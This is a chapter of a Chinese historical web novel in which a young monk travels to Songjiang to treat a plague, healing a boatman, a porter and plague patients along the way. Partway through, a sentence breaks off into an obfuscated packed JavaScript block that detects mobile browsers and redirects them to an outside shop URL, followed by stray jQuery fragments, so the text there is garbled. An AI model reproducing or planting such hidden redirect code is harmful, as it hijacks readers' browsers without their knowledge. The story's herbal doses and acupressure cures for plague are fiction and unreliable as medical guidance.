第五卷第一篇松江赴疫,初心未改
乾道七年五月初,天刚蒙蒙亮,青龙镇码头已泛起微光。拾安背着布包站在岸边,布包里整齐码放着水芹根、马齿苋、车前草等常用草药,沈敬之赠的华亭草药图谱与王克明的应急穴位图,被妥帖收在内侧夹层。
船工李大哥提着渔具匆匆赶来,脸上带着焦急:“小师父,昨夜南洋商船靠岸,带来松江府急信,码头贫民区爆发南洋红疹疫,上吐下泻、浑身起疹,已经死了好些人,连郎中都束手无策。”
拾安闻言,指尖下意识攥紧了布包系带。前几日告别阿禾与李大哥时,他本打算顺流而下,随缘云游江南初夏景致,彻底体验无牵无挂的禅行。但李大哥在宝晋古亭说的“异域病症”和如今的“贫民区死伤无数”的描述,让他想起嘉兴流民区的孩童、华亭郡的病患,那些在苦难中挣扎的面孔,让他无法袖手旁观。
“多谢李大哥告知。”拾安抬眼望向河道,晨光中吴淞江水面平缓,顺流而下的船只正陆续起航,“我这就动身去松江府,能帮一个是一个。”
李大哥点点头,转身从船上取下一小袋麦饼和一壶清水:“路上用得上,顺流走一日便到松江府,你多保重。”他又补充道,“听说疫症是南洋商船带的毒邪,官府设了三处疫棚,却只照看权贵富商,贫民区根本没人管,草药也被商人囤积抬价了。”
拾安接过干粮和水,拱手道谢。岸边停泊的乌篷船是青龙镇往返松江府的固定客船,船家知晓拾安的医术与人品,特意给他留了个靠窗的位置:“小师父,这船辰时开,申时就能到松江府码头,顺风顺水,不用耽搁。”
辰时三刻,客船缓缓驶离码头,顺着吴淞江向东而行。船身平稳,船夫偶尔用长篙轻点河床,辅助船只顺流而下。拾安坐在窗边,打开华亭草药图谱,翻到“异域病症”章节。图谱上批注:“南洋湿热重,红疹多由毒邪与湿气交织引发,本地草药以水芹根解毒、马齿苋止泻、车前草祛湿,三者配伍可解轻症,重症需佐清热凉血之品,如紫草、生地。”
他指尖划过字迹,将配伍剂量默默记在心里,又翻出应急穴位图,快速浏览曲池、合谷、足三里等穴位的位置,这些都是治疫可能用到的关键穴位。
航行过半,午时前后,客船停靠风泾铺补给。这里是吴淞江沿线的重要驿站,码头边挤满了往来的货船与行人,商铺里吆喝声此起彼伏。刚靠岸,就见几位船工围在一艘货船旁,神色慌张。拾安走近一看,只见一位年轻船工蜷缩在船板上,双手按着腹部,额头渗着冷汗,脸色发青,时不时发出痛苦的呻吟。
“这是怎么了?”拾安向旁边的船工问道。一位年长船工叹气:“小师父,他是我徒弟,今早天热,卸完货就贪凉,在河边喝了大半瓢井水,还啃了两块冷麦饼,没过多久就开始腹痛腹泻,现在都站不起来了。”
拾安蹲下身,轻声问年轻船工:“除了腹痛腹泻,可有头晕、怕冷的感觉?”船工艰难点头:“头有点晕,身上发寒,拉的都是稀水。”
拾安摸了摸他的脉搏,脉象濡缓,又看了看舌苔,舌淡苔白腻,心中了然:“这是暑湿泄泻,夏日湿热重,再贪凉饮,寒湿困脾,运化失常所致。”
“小师父,你有办法救他吗?”年长船工急切问道。“无妨,我这有草药。”拾安从布包里取出车前草和藿香(前几日在青龙镇山野采得,晒干备用),各取适量,对船工说:“麻烦你烧一壶热水,将这两种草药煮一刻钟,让他趁热喝下。”
趁船工烧水的间隙,拾安让年轻船工平躺下来,伸出手按在他的中脘穴上,轻轻顺时针推拿:“这个穴位能健脾和胃,缓解腹痛。”又在天枢穴、足三里穴各按揉片刻,“这两个穴位能调理肠道,止泻祛湿。”
推拿片刻后,草药汤煮好。年轻船工喝下温热的药汤,又躺了一盏茶的功夫,腹痛渐渐缓解,脸色也好看了许多。他挣扎着坐起来,对拾安拱手道谢:“多谢小师父救命之恩!我以后再也不敢贪凉乱吃东西了。”
拾安点点头:“夏日湿热,饮食需温热,生冷之物尽量少吃。这是剩下的藿香,你带在身上,若再有不适,可煮水服用。”年长船工递来一串铜钱,被拾安婉拒:“举手之劳,无需客气。”
回到客船上,船家笑着说:“小师父真是心善,这暑湿天,船工们最易犯这种病,你这法子可帮了大忙。”拾安淡淡一笑,将剩余的藿香收好,心里想着江南初夏湿热难耐,沿途百姓怕是多有这类病症,只是眼下松江府疫症紧急,只能先顾着那边。
客船继续顺流而行,未时许,抵达乌泥泾码头。这里比风泾铺更为繁华,北宋末年以来,大量北方移民在此定居,渐渐发展成市集。码头边设有官府的太平仓,囤积着备荒的粮食,往来的漕船与商船络绎不绝。客船刚停靠,就听到码头上传来一阵急促的呼喊:“有人受伤了!快找郎中!”
拾安循声望去,只见一位搬运工模样的壮汉坐在地上,左腿膝盖下方被划开一道长口子,鲜血直流,伤口边缘还沾着木屑和泥沙,脸色因失血有些苍白。旁边的工友正急得团团转,想扶他却不知如何下手。
“我来看看。”拾安快步走过去。壮汉见是个僧人,愣了一下,随即咬牙道:“小师父,我卸货时不小心被竹筐上的断竹划到了,你快想想办法,这血止不住。”
拾安蹲下身,先查看伤口情况:伤口长约三寸,不算太深,但划得较宽,且有污物附着,若不及时处理,恐引发感染。他从布包里取出干净的粗布,先轻轻按压伤口止血,对旁边的工友说:“麻烦你找些干净的清水和烈酒来,再找一把干净的剪刀。”
工友们连忙应声跑去寻找。片刻后,清水、烈酒和剪刀都已备好。拾安先用清水将伤口周围的泥沙冲洗干净,又用烈酒擦拭剪刀消毒,然后小心翼翼地将伤口边缘的污物清理干净。壮汉疼得浑身发抖,紧紧咬着牙,却没喊一声。
“忍着点,我帮你止血包扎。”拾安从布包里取出三七粉(王克明临别时所赠,专治外伤出血),均匀撒在伤口上,然后用干净的粗布紧紧包扎起来。接着,他伸出手,按在壮汉的血海穴上,轻轻推拿:“这个穴位能活血止血,促进伤口愈合。”
包扎好后,拾安叮嘱道:“这伤口三日之内不能沾水,每日用烈酒擦拭布带外侧消毒,三七粉我再给你一些,若出血不止,可再撒一些在布带上。七日之后若伤口无红肿化脓,便可拆掉。”
壮汉感激地说:“多谢小师父!若不是你,我这腿怕是要废了。”他从怀里掏出几文钱,想递给拾安,拾安婉拒道:“不用客气,出门在外,互相帮忙是应该的。”
旁边一位工友插话:“小师父,你这医术真高明!我们常年搬运货物,经常被竹木划伤,之前有人伤口感染,差点丢了性命。”拾安点点头:“竹木划伤后,需及时清理污物,避免感染。若身边没有三七粉,可用干净的草木灰临时止血,再尽快找郎中诊治。”
船家在一旁催促:“小师父,补给好了,该起航了。”拾安向壮汉和工友们道别,转身回到客船上。壮汉望着他的背影,连连道谢,工友们也纷纷称赞他的仁心医术。
未时三刻,客船再次起航。拾安坐在窗边,看着河岸两边的景致,稻田青翠,村落错落,偶尔能看到农夫在田间劳作。他打开布包,检查了一下里面的草药,水芹根、马齿苋、车前草都还剩不少,三七粉也还有一些,足够应对初期的救治。只是想到沈敬之批注的重症需用紫草、生地,他心里难免有些担忧,不知松江府贫民区能否找到这些药材。
申时刚过,客船渐渐靠近松江府码头。远远望去,码头区域的景象与沿途驿站截然不同,街道两旁的商铺大多闭门谢客,偶尔有行人经过,也都是行色匆匆,脸上带着恐慌。空气中隐约弥漫着一股苦涩的草药味,夹杂着一丝难以言喻的腥气。
拾安收拾好行囊,下船后立刻向路人打听贫民区的位置。“贫民区就在码头西边,那边搭了大片竹席棚子,都是疫症患者,气味难闻得很,小师父你还是别去了。”一位挑着担子的货郎好心提醒道。
“我是来治病救人的。”拾安语气坚定。货郎见状,只好指了指方向:“顺着这条街一直往西走,约莫半个时辰就到了,看到竹席棚子就别再往前了,小心染上疫症。”拾安道谢后,快步往贫民区方向走去。
街道上行人稀少,偶尔能看到官府的兵丁巡逻,却对路边蜷缩的乞丐视而不见。与青龙镇的繁华热闹相比,松江府的码头区域弥漫着一股压抑的气息。拾安加快脚步,走过几条街巷后,路边的房屋渐渐稀疏,取而代之的是大片的竹席棚子,绵延数里,一眼望不到头。
空气中的气味越发浓烈,草药的苦涩、呕吐物的酸腐、海水的咸腥混杂在一起,令人作呕。棚子里面,不时传来患者的呻吟和孩童的哭闹声,场面惨不忍睹。拾安深吸一口气,压下心头的不适,快步走到一个疫棚前。
棚子由竹杆和竹席搭建而成,四处漏风,里面挤满了患者,大多浑身布满红色丘疹,部分丘疹已经破溃流脓,不少人上吐下泻,蜷缩在冰冷的地上痛苦不堪。一位头发花白的老郎中坐在棚子角落,一边叹气一边给患者喂药,动作却显得力不从心。
“老丈,这里的情况怎么样?”拾安走上前问道。老郎中抬起头,见是个年轻僧人,脸上露出一丝惊讶:“小师父,你是来帮忙的?”“正是,我听闻这里爆发疫症,特意赶来救急。”拾安答道。老郎中叹了口气:“唉,情况糟透了。这疫症来得凶猛,患者上吐下泻,还发着高热,短短三日就死了五个人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423950|200845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我手里的草药也快用完了,只能勉强给患者退热,根本止不住腹泻和红疹。”他指着一位躺在地上的孩童,“你看那孩子,已经昏迷一天了,怕是撑不了多久了。”
拾安顺着老郎中指的方向望去,只见一个约莫五六岁的孩童躺在草席上,双目紧闭,浑身滚烫,身上的红疹已经蔓延到颈部,嘴唇干裂,气息微弱。他快步走过去,蹲下身摸了摸孩童的脉搏,急促而微弱,情况十分危急。
“老丈,麻烦你帮我烧一壶热水,再找些粗布来。”拾安高声道。老郎中连忙应声,让身边的年轻助手去准备。拾安从布包里取出水芹根和马齿苋,快速分拣干净,用石臼捣烂:“这两种草药配伍,能解毒止泻、清热退热,应该能缓解患者的症状。”
他将捣烂的草药分成两份,一份用热水调成糊状,敷在孩童的额头和胸口,另一份则挤出汁液,用干净的竹勺慢慢喂给孩童。同时,他伸出手,按在孩童的曲池穴上,轻轻推拿:“这个穴位能清热解表,帮孩子退热。”
老郎中在一旁看着,眼里满是期待。半个时辰后,孩童的体温渐渐降了下来,嘴唇也有了一丝湿润,气息也平稳了一些,手指微微动了一下。老郎中惊喜地说:“小师父,真有效果!这孩子总算有救了!” 周围的患者和家属见状,纷纷围拢过来,眼里满是希望。“小师父,求求你救救我家人!”“小师父,我娘子快不行了!”“小师父,我儿子浑身起疹,上吐下泻,你快看看!”
拾安安抚道:“大家别慌,排好队,我会一个个帮大家诊治,只要按我的法子来,一定能缓解症状。”
他让老郎中和助手帮忙,将剩下的草药分成若干份,按“成人三钱、孩童一钱”的剂量煮成汤药,逐一给患者喂服。同时,他教助手们辨认水芹根和马齿苋,讲解推拿曲池、合谷等穴位的手法,让他们帮忙给轻症患者施治。
一位中年男子抱着妻子挤到前排,他妻子浑身是红疹,不停呕吐,已经虚弱得说不出话。拾安快速检查后,让助手喂下汤药,自己则在她的合谷穴和足三里穴推拿。半个时辰后,女子的呕吐停止了,气息也平稳了许多。男子含泪道谢:“小师父,多谢你!若不是你,我娘子怕是挺不过今日了。”
拾安点点头,示意他扶妻子到一旁休息,又转向下一位患者。棚子里的患者越来越多,他从申时一直忙碌到黄昏,额头上的汗水不断滑落,浸湿了僧袍,手臂也因反复推拿变得酸痛,但他没有丝毫停歇。期间,有患者家属送来干净的水和麦饼,他只是匆匆咬两口,便又投入到诊治中。
夕阳西下,余晖透过竹席的缝隙洒进棚子,映照着一张张渐渐舒展的脸庞。截至黄昏,拾安已经诊治了三十多位患者,其中三位重症患者的病情得到了有效控制,不再有生命危险。老郎中清点了一下草药,对拾安说:“小师父,你带来的草药还够明日用一天,后天就没了。这附近的草药都被药商囤积了,价格涨了十倍,我们根本买不起。”
拾安眉头微蹙,这是他没想到的难题。没有草药,后续的救治就无法继续,那些轻症患者可能会转为重症,甚至丧命。他正思索着,一位中年男子走到他身边,低声道:“小师父,我是这里的里正,姓王。多谢你今日出手相助,不然还不知道要多死多少人。”
王里正身材微胖,脸上带着疲惫,却眼神诚恳:“我知道草药的事,其实城外十里的荒山上有野生的水芹和马齿苋,只是现在疫症蔓延,没人敢去采摘。而且药商派了人看守山脚,不许百姓私自采挖。”
拾安闻言,心里有了主意:“明日一早,我去荒山采摘草药,只要能找到足够的药材,就能继续给大家诊治。”
王里正连忙摆手:“小师父,万万不可!那荒山偏僻,又有药商的人看守,你去了怕是会有危险。” “无妨。”拾安语气坚定,“救治患者要紧,些许危险不算什么。”他顿了顿,又说:“若能找到草药,不仅能救这里的患者,还能教大家自己采摘,摆脱对药商的依赖。”
王里正叹了口气,见拾安态度坚决,只好说:“那我派两个年轻力壮的后生跟你一起去,也好有个照应。他们熟悉山路,还能帮你搬运草药。”
拾安点点头,接受了王里正的好意。夜幕渐渐降临,棚子里的患者大多已经睡着,偶尔传来几声咳嗽和呻吟。拾安坐在棚子角落,借着微弱的月光,再次翻看华亭草药图谱,确认野生水芹和马齿苋的生长习性,以及可能的采摘地点。
他想起了昆山启程时的懵懂,嘉兴同德堂的历练,青龙镇的相逢与相助。一路走来,每一次“顺手帮人”都让他对禅心有了更深的领悟。这次松江府之行,他不仅要救治患者,还要设法解决草药短缺的难题,坚守自己“见苦便帮”的初心。
月光下,他的眼神坚定而平静。